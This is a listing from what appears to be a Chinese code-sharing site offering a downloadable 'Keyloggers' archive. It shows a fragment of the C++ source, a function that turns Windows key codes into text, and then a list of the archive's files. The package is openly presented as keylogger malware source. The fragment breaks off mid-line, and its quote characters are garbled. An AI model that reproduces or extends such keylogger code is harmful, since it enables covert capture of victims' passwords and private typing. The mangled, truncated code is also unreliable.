• 大小: 0M
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2021-05-07
  • 语言: 其他
  • 标签: 其他  

资源简介

Keyloggers.rar

资源截图

代码片段和文件信息

#include 
#include 
#include 
#include 
#include 
using namespace std;

string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = ““;
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键

if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48:{KeyString = “)“;}break; //0
case 49:{KeyString = “!“;}break; //1
case 50:{KeyString = “@“;}break; //2
case 51:{KeyString = “#“;}break; //3
case 52:{KeyString = “$“;}break; //4
case 53:{KeyString = “%“;}break; //5
case 54:{KeyString = “^“;}break; //6
case 55:{KeyString = “&“;}break; //7
case 56:{KeyString = “*“;}break; //8
case 57:{KeyString = “(“;}break; //9
}
}
else
KeyString = Key;
}

//对字母的大小写进行判断
if (Key >=97 && Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) {KeyString = Key;}else{KeyString = Key - 32;}  //Shift按下:为小写字母  否则  大写字母
}
else// 大写没有锁定
{
if(IS){KeyString = Key - 32;}else{KeyString = Key;}   // 按下Shift键: 大写字母  否则  小写字母
}
}

if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:{if(IS){KeyString = “:“;}else{KeyString = “;“;}}break;
case 187:{if(IS){KeyString = “+“;}else{KeyString = “=“;}}break;
case 188:{if(IS){KeyString = “<“;}else{KeyString = ““;}}break;
case 189:{if(IS){KeyString = “_“;}else{KeyString = “-“;}}break;
case 190:{if(IS){KeyString = “>“;}else{KeyString = “.“;}}break;
case 191:{if(IS){KeyString = “?“;}else{KeyString = “/“;}}break;
case 192:{if(IS){KeyString = “~“;}else{KeyString = “‘“;}}break;
case 219:{if(IS){KeyString = “{“;}else{KeyString = “[“;}}break;
case 220:{if(IS){KeyString = “|“;}else{KeyString = “\\“;}}break;
case 221:{if(IS){KeyString = ‘}‘;}else{KeyString = ‘]‘;}}break;
case 222:{if(IS){KeyString = ‘“‘;}else{KeyString = “‘“;}}break;
}
}

//判断键盘的第一行
if (Key == VK_ESCAPE){KeyString = “[Esc]“;} // 退出
if (Key == VK_F1){KeyString = “[F1]“;} // F1至F12
if (Key == VK_F2){KeyString = “[F2]“;}
if (Key == VK_F3){KeyString = “[F3]“;}
if (Key == VK_F4){KeyString = “[F4]“;}
if (Key == VK_F5){KeyString = “[F5]“;}
if (Key == VK_F6){KeyString = “[F6]“;}
if (Key == VK_F7){KeyString = “[F7]“;}
if (Key == VK_F8){KeyString = “[F8]“;}
if (Key == VK_F9){KeyString = “[F9]“;}
if (Key == VK_F10){KeyString = “[F10]“;}
if (Key == VK_F11){KeyString = “[F11]“;}
if (Key == VK_F12){KeyString = “[F12]“;}
if (Key == VK_SNAPSHOT){KeyString = “[PrScrn]“;} // 打印屏幕
if (Key == VK_SCROLL){KeyString = “[Scroll Lock]“;} // 滚动锁定
if (Key == VK_PAUSE){KeyString = “[Pause]“;} // 暂停、中断
if (Key == VK_CAPITAL){KeyString = “[Caps Lock]“;}

//控制键
if (Key == 8){KeyString = “[Backspace]“;} //<- 回格键
if (Key == VK_RETURN){KeyString = “[Enter]\n“;} // 回车键、换行
if (Key == VK_SPACE){KeyString = “[Space]“;} // 空格
if (Key

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件       4330  2014-12-14 17:02  键盘记录器.dsp

     文件        545  2014-12-16 20:24  键盘记录器.dsw

     文件       6437  2014-12-16 20:27  主程序.cpp

----------- ---------  ---------- -----  ----

                11312                    3


评论

共有 条评论